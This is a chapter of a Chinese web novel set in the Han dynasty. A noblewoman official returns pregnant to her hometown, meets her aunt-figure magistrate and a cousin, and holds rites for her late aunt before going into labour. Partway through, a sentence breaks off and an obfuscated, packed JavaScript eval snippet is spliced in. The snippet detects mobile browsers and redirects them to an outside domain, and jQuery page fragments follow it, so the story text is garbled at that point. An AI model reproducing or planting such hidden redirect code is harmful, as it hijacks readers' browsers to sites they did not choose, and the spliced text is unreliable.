归乡,归乡,楚地花草芬芳、山川灵秀、人物多情、水泽浪漫……归乡,我的乡,在归州。
骑马、乘车、坐船,一路风尘仆仆,到了归州,穿着县令官服的蜜娘亲自带人迎接。
李茉远远就掀起车帘,向她招手示意,待马车挺稳,被人扶下车来。
原本满脸笑容的屈蜜脸色一僵,惊讶看着李茉隆起的腹部,正式场合又不方便直接问,只得艰难忍下,拱手行礼:“臣归州县令屈蜜见过荆贤侯。”
“蜜姨请起,一家人,不必多礼。”李茉扶起她,与她寒暄。
屈蜜笑着给她介绍来迎接的人,首先指着一个亭亭玉立的少女道:“这是李歧。”
李歧脊背微弯,肩膀有些内扣,强自镇定又满含期待上前行礼:“歧见过阿姊。”
“你都长这么大了啊!果真光阴似箭,岁月如梭。”李茉恍然,李歧,她的堂妹。当年李家人卷包袱跑路,把大伯娘和她留给李茉出气。大伯娘病死之后,李歧就托给了屈蜜照顾。“这些年身体可好?读了哪些书?”
“歧受蜜姨扶照,生活富足,读过阿姊写的《洪荒》《封神》《养生经》,也读过儒家、法家、道家一些经典。”李歧小心应对。
“嗯,兼容并蓄,很好。”李茉对一个多年不见的堂妹,只有这几句话的耐心,转头向下一个人。
屈蜜立刻给她介绍,自从李茉发家之后,归州迅速崛起,整个楚地,除了长沙王,最出名的就属李茉了。偏偏两者交好,无从挑拨,分封到楚地的列侯、派遣到这里的官员,都愿意与他们和睦相处。
等到场面上的事情应付过去,屈蜜把人引进县衙,试探道:“太失礼了,归州偏远,不曾听闻你成婚,贺礼都没备下。罪过,罪过!”
李茉亲昵地扶住她的胳膊,笑道:“蜜姨又逗我玩儿~我没有成婚,至于这肚子……”
“不能说就不说,我不是那好奇的人。”屈蜜立刻打断,走了几步,又忍不住问:“是陛下的?”
李茉平白被吓的咳嗽,无奈道:“蜜姨,说什么呢,我是臣子,怎会与陛下有染。”
“哦哦,不是就好,不是就好,我就说你不是那样的人。”屈蜜也担心啊,女子为官本就艰难,这些年女子因成亲、产育被赶出官场的不计其数,甚至直接被夫家、母家谋杀的都有。李茉是女官的领头羊,她可万万不能出问题。
“那……对外如何宣称?”屈蜜忧心忡忡地问。
“不必宣称,男人们的子嗣需要明确的母亲来确认血统,我的子嗣百分百是我亲生的。”李茉看她脸色一言难尽,也不卖关子,笑道:“我早就放出话来,不会成婚,若要生子,择一身体康健、容貌端正、性情平和的男子为孩子父亲。咱们楚地本有野/合、走婚之俗,长安养面首的贵女不在少数,我并不特殊,蜜姨别担心。”
“这就好,这就好。”屈蜜可不敢真当她不特殊,勉强表示赞同:“你如今位高权重,倒不必非成婚不可。你既找到满意的男子,若他愿意,也可相扶到老。”
不成婚,养个面首也行啊!
“唉,我的子孙或许可以,我却不行。”李茉叹息,“我要开宗立派,就不能有一个夫君,分享我的权柄。女子产育艰难,我若早亡、病笃,夫君是能代我行使权柄的啊。”
屈蜜也跟着叹息,“可惜了。你能选中此人,说明是心悦他的。”
“是,心悦他,他很好。路上才察觉有孕,待回长安,与他分享这好消息。”李茉嘴角含笑,想到那人,心中甜蜜。
“可能与我说说是哪家少年才俊。”屈蜜对李茉还是了解的,既然排除了陛下,那李茉选人就只会选年龄相当的单身青年。可惜归州到底偏远,不知长安有哪些俊杰。
“嘘——第二个知道自己当父亲的人,该是他本人。”李茉调皮一笑,不说。
屈蜜哈哈大笑,“好,好。先坐,先坐,今日烹了鲜鱼、鲜虾、莲藕、莲子……对了,你有孕,能吃鱼虾吗?”
“早就想着这一口啦!长安的鱼这些年没长进,依旧腥得很!”李茉被招待了一顿大餐,被随行的医女检查过身体无恙之后,安然睡去。
第二天一早,往姑姑墓前祭拜。
姑姑的墓已经修成一座占地广大的墓阙,墓、碑、神道、阙、兽一一陈列,阙分东西二阙,阙前有圆雕天禄、辟邪。
李茉摆出刘彻赐予的全副仪仗,为姑姑举办了一场盛大恢弘的祭祀。
在墓阙不远处,有一座织娘祠,是附近百姓自发修建。归州遍种桑麻,但凡纺纱织布的人家,都要来织娘祠求心灵手巧。
李茉换了常服,往织娘祠去。主殿塑了一尊寻常楚地女子装扮的女娘,方脸、圆额、大耳、长手,看不出一点儿姑姑的影子。
“归州女子现在能嫁人了吗?”李茉轻声问。
“不仅能嫁,招赘也不在少数,归州女儿因你显贵。”屈蜜奉承,亦是实话。当年户籍都上不了的黑户女娘们,如今能织布、染色、种柘、熬糖、跑商、做官,有收入就有出路,有出路就有底气。
“那就好。”李茉看着一点儿不像姑姑的塑像,心中安慰,转到偏殿,这里正有一个人在铜盆里烧纸,边烧边念念有词,李茉凝神细听,念诵的是她为姑姑撰写的神道碑碑文。
里面烧纸的少女似乎有所感,惊讶回头,赶忙上前来见礼。行礼过后,又局促地捻着衣角,她想解释自己并非故作姿态,又怕李茉以为她欲盖弥彰。
烧纸的人,正是李歧。
“常在这里?”李茉问。
“是,我每月都来这里,给姑姑烧纸。阿姊的书里写,人到了阴间,也是要用钱的。我给姑姑多烧一些,不让她受苦。”李歧干巴巴解释。
李茉看了一眼屈蜜,屈蜜点头,称赞:“阿歧孝顺。”
李茉又问:“这些年过得可好?日后有何打算?”
李歧看了屈蜜一眼,才道:“我一直用功读书,县学先生说我中人之姿,若要为官,可在乡里举孝廉;若有能力,愿往长安,考贤良方正,做博士;若始终力所不及,我愿在乡间读书,在县里谋一个吏职,教养儿女。”
“嗯,很有条理,按自己的心意来。”李茉表示赞同,挥手示意她不必跟上来,又转到其他屋舍去了。
李歧望着堂姊的背影,默默出神,这就是荆贤侯啊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012875|173613||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
土门学宫祭酒、少府丞,改良织法、染法,发明了纸,著书立说,门人弟子无数,这样名传天下的人物,是自己的堂姊。
可惜,她的父母是逼死姑姑的凶手,亦是逼得堂姊远奔他乡的元凶。
李歧小时候最喜欢水边,无师自通学会浮水,坐在小木盆里摘荷花、割莲蓬,只有在那里才没有众人异样的眼光和喋喋不休的说教。
附近的村民总是爱和她讲古,说她歹毒不慈的父母,最后以“你可不能学他们”为结束语。李歧的一言一行都受到村民的监视,说错什么话、做错什么事,都要被告到蜜姨那里。寻常言语,总被无限放大,引申出自己都不知道的含义。
偏偏她的生活条件优越,蜜姨从不在穿衣吃饭上苛待她。小孩子慕强、欺弱,李歧小时候常常和村里小孩打架。后来读书之后,她慢慢学着书里的办法,终于有了能一起上课、玩耍的朋友。
再后来,蜜姨被举荐为归州县令,她也跟着去了县里。县里的上等人更加含蓄,但那种不可描述的眼神,让李歧知道总有一双眼睛在看着自己,如同自己的名字“歧”一样,如影随形。
可是,能如何呢?随着堂姊功业越来越盛,她的地位跟着水涨船高,看在血缘的面子上,她的日子总是比大多数人好的。
李歧原本如她说的那样,规划好了自己的人生,可是见过一次堂姊归来恢弘盛大的场面,她的心就砰砰跳着,不甘心留在乡野。
长安,长安,什么时候,我也能去长安?
走在前面的李茉感受到后背仿佛要被盯得烧起来,问屈蜜道:“蜜姨,她这些年过得好吗?”
“除了一些风言风语,一切都好。”屈蜜敢拍着胸脯保证,她没有亏待过这孩子。“小时候与我家孩子同起同卧,一起在县学读书。我本打算,若她才干出众,便让她到长安投奔你,也入学宫,学一身本事。”
李茉扶了扶肚子,不置可否:“蜜姨,我有些累了。”
“唉哟,何不早说?快,快,我叫肩舆来。祭祀本就劳累,又走了这一路,哎呀呀,下次可不能由着你的性子,怀孕了要好生保养才是,再过两个月就要生了!”屈蜜急得哇哇乱叫。
李茉好笑摆手,整个大汉,没有人比她更懂产育啦。自从离开李家之后,李茉把“养生”刻在脑门上,时时刻刻注意,现在吃嘛嘛香、身体倍儿棒,怀孕之后,手臂上的肌肉线条依旧清晰可见。
主持祭祀、购置族产、规划产业、县学讲课,李茉在归州忙碌,一点儿也不掩饰自己怀孕的事实。
看到她挺着个大肚子依旧神采奕奕,众人对她曾遇仙的事情更加信服。寻常妇人有孕卧床休养,她却始终精神充沛,一定是神仙保佑。有人冒昧问到夫婿,李茉笑而不答,没过几天,谣言不讲理地传孩子父亲是某河河神。
李茉听了这笑话,无语反问:“怎么不是山神是河神?”
“还有更离谱的呢,说您与屈大夫神魂相交,说您夜遇白龙,有感而孕。”
李茉捧着肚子笑得直抽气,不管什么朝代,谣言都很离谱啊。
笑着笑着,李茉感觉胯/下湿润,摸了一把,淡定道:“要生了。”